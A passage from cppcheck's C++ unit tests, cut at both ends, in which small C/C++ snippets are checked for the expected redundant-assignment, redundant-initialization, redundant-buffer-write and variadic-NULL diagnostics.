2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { 